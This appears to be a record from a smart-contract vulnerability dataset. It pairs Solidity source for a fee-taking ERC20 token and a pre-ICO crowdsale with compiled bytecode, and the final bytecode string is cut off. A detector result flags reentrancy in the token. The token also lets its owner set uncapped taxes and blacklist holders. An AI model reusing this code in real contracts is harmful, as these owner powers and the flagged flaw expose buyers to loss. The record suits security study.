modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610561578063dd62ed3e14610581578063ea1644d5146105c7578063f2fde38b146105e757600080fd5b8063a2a957bb146104dc578063a9059cbb146104fc578063bfd792841461051c578063c3c8cd801461054c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104555780638f9a55c01461047557806395d89b411461048b57806398a5c315146104bc57600080fd5b80637d1db4a5146103f45780637f2feddc1461040a5780638da5cb5b1461043757600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038a57806370a082311461039f578063715018a6146103bf57806374010ece146103d457600080fd5b8063313ce5671461030e57806349bd5a5e1461032a5780636b9990531461034a5780636d8aa8f81461036a57600080fd5b80631694505e116101ab5780631694505e1461027a57806318160ddd146102b257806323b872dd146102d85780632fd689e3146102f857600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024a57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611961565b610607565b005b34801561020a57600080fd5b50604080518082019091526011815270109a5c991cc8105c995b89dd081499585b607a1b60208201525b6040516102419190611a26565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611a7b565b6106a6565b6040519015158152602001610241565b34801561028657600080fd5b5060145461029a906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b3480156102be57600080fd5b50683635c9adc5dea000005b604051908152602001610241565b3480156102e457600080fd5b5061026a6102f3366004611aa7565b6106bd565b34801561030457600080fd5b506102ca60185481565b34801561031a57600080fd5b5060405160098152602001610241565b34801561033657600080fd5b5060155461029a906001600160a01b031681565b34801561035657600080fd5b506101fc610365366004611ae8565b610726565b34801561037657600080fd5b506101fc610385366004611b15565b610771565b34801561039657600080fd5b506101fc6107b9565b3480156103ab57600080fd5b506102ca6103ba366004611ae8565b610804565b3480156103cb57600080fd5b506101fc610826565b3480156103e057600080fd5b506101fc6103ef366004611b30565b61089a565b34801561040057600080fd5b506102ca60165481565b34801561041657600080fd5b506102ca610425366004611ae8565b60116020526000908152604090205481565b34801561044357600080fd5b506000546001600160a01b031661029a565b34801561046157600080fd5b506101fc610470366004611b15565b6108c9565b34801561048157600080fd5b506102ca60175481565b34801561049757600080fd5b506040805180820190915260088152671499585b109a5c9960c21b6020820152610234565b3480156104c857600080fd5b506101fc6104d7366004611b30565b610911565b3480156104e857600080fd5b506101fc6104f7366004611b49565b610940565b34801561050857600080fd5b5061026a610517366004611a7b565b61097e565b34801561052857600080fd5b5061026a610537366004611ae8565b60106020526000908152604090205460ff1681565b34801561055857600080fd5b506101fc61098b565b34801561056d57600080fd5b506101fc61057c366004611b7b565b6109df565b34801561058d57600080fd5b506102ca61059c366004611bff565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d357600080fd5b506101fc6105e2366004611b30565b610a80565b3480156105f357600080fd5b506101fc610602366004611ae8565b610aaf565b6000546001600160a01b0316331461063a5760405162461bcd60e51b815260040161063190611c38565b60405180910390fd5b60005b81518110156106a25760016010600084848151811061065e5761065e611c6d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069a81611c99565b91505061063d565b5050565b60006106b3338484610b99565b5060015b92915050565b60006106ca848484610cbd565b61071c843361071785604051806060016040528060288152602001611db1602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f9565b610b99565b5060019392505050565b6000546001600160a01b031633146107505760405162461bcd60e51b815260040161063190611c38565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461079b5760405162461bcd60e51b815260040161063190611c38565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ee57506013546001600160a01b0316336001600160a01b0316145b6107f757600080fd5b4761080181611233565b50565b6001600160a01b0381166000908152600260205260408120546106b79061126d565b6000546001600160a01b031633146108505760405162461bcd60e51b815260040161063190611c38565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c45760405162461bcd60e51b815260040161063190611c38565b601655565b6000546001600160a01b031633146108f35760405162461bcd60e51b815260040161063190611c38565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093b5760405162461bcd60e51b815260040161063190611c38565b601855565b6000546001600160a01b0316331461096a5760405162461bcd60e51b815260040161063190611c38565b600893909355600a91909155600955600b55565b60006106b3338484610cbd565b6012546001600160a01b0316336001600160a01b031614806109c057506013546001600160a01b0316336001600160a01b0316145b6109c957600080fd5b60006109d430610804565b9050610801816112f1565b6000546001600160a01b03163314610a095760405162461bcd60e51b815260040161063190611c38565b60005b82811015610a7a578160056000868685818110610a2b57610a2b611c6d565b9050602002016020810190610a409190611ae8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7281611c99565b915050610a0c565b50505050565b6000546001600160a01b03163314610aaa5760405162461bcd60e51b815260040161063190611c38565b601755565b6000546001600160a01b03163314610ad95760405162461bcd60e51b815260040161063190611c38565b6001600160a01b038116610b3e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610631565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610631565b6001600160a01b038216610c5c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610631565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d215760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610631565b6001600160a01b038216610d835760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610631565b60008111610de55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610631565b6000546001600160a01b03848116911614801590610e1157506000546001600160a01b03838116911614155b156110f257601554600160a01b900460ff16610eaa576000546001600160a01b03848116911614610eaa5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610631565b601654811115610efc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610631565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3e57506001600160a01b03821660009081526010602052604090205460ff16155b610f965760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610631565b6015546001600160a01b0383811691161461101b5760175481610fb884610804565b610fc29190611cb2565b1061101b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610631565b600061102630610804565b60185460165491925082101590821061103f5760165491505b8080156110565750601554600160a81b900460ff16155b801561107057506015546001600160a01b03868116911614155b80156110855750601554600160b01b900460ff165b80156110aa57506001600160a01b03851660009081526005602052604090205460ff16155b80156110cf57506001600160a01b03841660009081526005602052604090205460ff16155b156110ef576110dd826112f1565b4780156110ed576110ed47611233565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113457506001600160a01b03831660009081526005602052604090205460ff165b8061116657506015546001600160a01b0385811691161480159061116657506015546001600160a01b03848116911614155b15611173575060006111ed565b6015546001600160a01b03858116911614801561119e57506014546001600160a01b03848116911614155b156111b057600854600c55600954600d555b6015546001600160a01b0384811691161480156111db57506014546001600160a01b03858116911614155b156111ed57600a54600c55600b54600d555b610a7a8484848461146b565b6000818484111561121d5760405162461bcd60e51b81526004016106319190611a26565b50600061122a8486611cca565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a2573d6000803e3d6000fd5b60006006548211156112d45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610631565b60006112de611499565b90506112ea83826114bc565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133957611339611c6d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611392573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b69190611ce1565b816001815181106113c9576113c9611c6d565b6001600160a01b0392831660209182029290920101526014546113ef9130911684610b99565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611428908590600090869030904290600401611cfe565b600060405180830381600087803b15801561144257600080fd5b505af1158015611456573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611478576114786114fe565b61148384848461152c565b80610a7a57610a7a600e54600c55600f54600d55565b60008060006114a6611623565b90925090506114b582826114bc565b9250505090565b60006112ea83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611665565b600c5415801561150e5750600d54155b1561151557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153e87611693565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157090876116f0565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159f9086611732565b6001600160a01b0389166000908152600260205260409020556115c181611791565b6115cb84836117db565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161091815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061163f82826114bc565b82101561165c57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836116865760405162461bcd60e51b81526004016106319190611a26565b50600061122a8486611d6f565b60008060008060008060008060006116b08a600c54600d546117ff565b92509250925060006116c0611499565b905060008060006116d38e878787611854565b919e509c509a509598509396509194505050505091939550919395565b60006112ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f9565b60008061173f8385611cb2565b9050838110156112ea5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610631565b600061179b611499565b905060006117a983836118a4565b306000908152600260205260409020549091506117c69082611732565b30600090815260026020526040902055505050565b6006546117e890836116f0565b6006556007546117f89082611732565b6007555050565b6000808080611819606461181389896118a4565b906114bc565b9050600061182c60646118138a896118a4565b905060006118448261183e8b866116f0565b906116f0565b9992985090965090945050505050565b600080808061186388866118a4565b9050600061187188876118a4565b9050600061187f88886118a4565b905060006118918261183e86866116f0565b939b939a50919850919650505050505050565b6000826000036118b6575060006106b7565b60006118c28385611d91565b9050826118cf8583611d6f565b146112ea5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610631565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080157600080fd5b803561195c8161193c565b919050565b6000602080838503121561197457600080fd5b823567ffffffffffffffff8082111561198c57600080fd5b818501915085601f8301126119a057600080fd5b8135818111156119b2576119b2611926565b8060051b604051601f19603f830116810181811085821117156119d7576119d7611926565b6040529182528482019250838101850191888311156119f557600080fd5b938501935b82851015611a1a57611a0b85611951565b845293850193928501926119fa565b98975050505050505050565b600060208083528351808285015260005b81811015611a5357858101830151858201604001528201611a37565b81811115611a65576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8e57600080fd5b8235611a998161193c565b946020939093013593505050565b600080600060608486031215611abc57600080fd5b8335611ac78161193c565b92506020840135611ad78161193c565b929592945050506040919091013590565b600060208284031215611afa57600080fd5b81356112ea8161193c565b8035801515811461195c57600080fd5b600060208284031215611b2757600080fd5b6112ea82611b05565b600060208284031215611b4257600080fd5b5035919050565b60008060008060808587031215611b5f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9057600080fd5b833567ffffffffffffffff80821115611ba857600080fd5b818601915086601f830112611bbc57600080fd5b813581811115611bcb57600080fd5b8760208260051b8501011115611be057600080fd5b602092830195509350611bf69186019050611b05565b90509250925092565b60008060408385031215611c1257600080fd5b8235611c1d8161193c565b91506020830135611c2d8161193c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611cab57611cab611c83565b5060010190565b60008219821115611cc557611cc5611c83565b500190565b600082821015611cdc57611cdc611c83565b500390565b600060208284031215611cf357600080fd5b81516112ea8161193c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4e5784516001600160a01b031683529383019391830191600101611d29565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dab57611dab611c83565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201c8ca303756972d8ed06a0359e93bd50e84314e0a6d21a196cad6ad41adc5fe064736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 1,683 |
0xef1dffc0ffb4adc4315f0b969331ade0e2014d50
|
pragma solidity ^0.4.24;
/**
* SmartEth.co
* ERC20 Token and ICO smart contracts development, smart contracts audit, ICO websites.
* contact@smarteth.co
*/
/**
* @title SafeMath
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = 0xba503C7778A9c7b50dfC56aA625Bf302cbd64A21;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20Basic
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract IDT_PreICO is Pausable {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// Max supply of tokens offered in the crowdsale
uint256 public supply;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
// Min amount of wei an investor can send
uint256 public minInvest;
// Crowdsale opening time
uint256 public openingTime;
// Crowdsale closing time
uint256 public closingTime;
// Crowdsale duration in days
uint256 public duration;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor() public {
rate = 16666;
wallet = owner;
token = ERC20(0xc057FB9Ec7D50e15AdC5D686b642d5714E0a86c8);
minInvest = 20 * 1 ether;
duration = 12 days;
openingTime = 1531699200; // Determined by start()
closingTime = openingTime + duration; // Determined by start()
}
/**
* @dev called by the owner to start the crowdsale
*/
function start() public onlyOwner {
openingTime = now;
closingTime = now + duration;
}
/**
* @dev Returns the rate of tokens per wei at the present time.
*/
function getCurrentRate() public view returns (uint256) {
if (now <= openingTime.add(2 days)) return rate.add(rate/4); // Bonus 25%
if (now > openingTime.add(2 days) && now <= openingTime.add(4 days)) return rate.add(rate/5); // Bonus 20%
if (now > openingTime.add(4 days) && now <= openingTime.add(6 days)) return rate.add(rate*3/20); // Bonus 15%
if (now > openingTime.add(6 days) && now <= openingTime.add(8 days)) return rate.add(rate/10); // Bonus 10%
if (now > openingTime.add(8 days) && now <= openingTime.add(10 days)) return rate.add(rate/20); // Bonus 5%
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_forwardFunds();
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal whenNotPaused {
require(_beneficiary != address(0));
require(_weiAmount >= minInvest);
require(now >= openingTime && now <= closingTime);
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 currentRate = getCurrentRate();
return currentRate.mul(_weiAmount);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
return now > closingTime;
}
/**
* @dev called by the owner to withdraw unsold tokens
*/
function withdrawTokens() public onlyOwner {
uint256 unsold = token.balanceOf(this);
token.transfer(owner, unsold);
}
}
|
0x6080604052600436106101065763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663047fc9aa81146101115780630fb5a6b4146101385780631515bc2b1461014d5780632c4e722e146101765780633f4ba83a1461018b5780634042b66f146101a05780634b6753bc146101b5578063521eb273146101ca5780635c975abb146101fb57806363fd9e38146102105780638456cb59146102255780638d8f2adb1461023a5780638da5cb5b1461024f578063b7a8807c14610264578063be9a655514610279578063ec8ac4d81461028e578063f2fde38b146102a2578063f7fb07b0146102c3578063fc0c546a146102d8575b61010f336102ed565b005b34801561011d57600080fd5b5061012661037b565b60408051918252519081900360200190f35b34801561014457600080fd5b50610126610381565b34801561015957600080fd5b50610162610387565b604080519115158252519081900360200190f35b34801561018257600080fd5b50610126610390565b34801561019757600080fd5b5061010f610396565b3480156101ac57600080fd5b5061012661040c565b3480156101c157600080fd5b50610126610412565b3480156101d657600080fd5b506101df610418565b60408051600160a060020a039092168252519081900360200190f35b34801561020757600080fd5b50610162610427565b34801561021c57600080fd5b50610126610437565b34801561023157600080fd5b5061010f61043d565b34801561024657600080fd5b5061010f6104b8565b34801561025b57600080fd5b506101df610601565b34801561027057600080fd5b50610126610610565b34801561028557600080fd5b5061010f610616565b61010f600160a060020a03600435166102ed565b3480156102ae57600080fd5b5061010f600160a060020a036004351661063c565b3480156102cf57600080fd5b506101266106d0565b3480156102e457600080fd5b506101df610848565b3460006102fa8383610857565b610303826108b5565b600554909150610319908363ffffffff6108d916565b60055561032683826108f3565b60408051838152602081018390528151600160a060020a0386169233927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18929081900390910190a36103766108fd565b505050565b60035481565b60095481565b60085442115b90565b60045481565b60005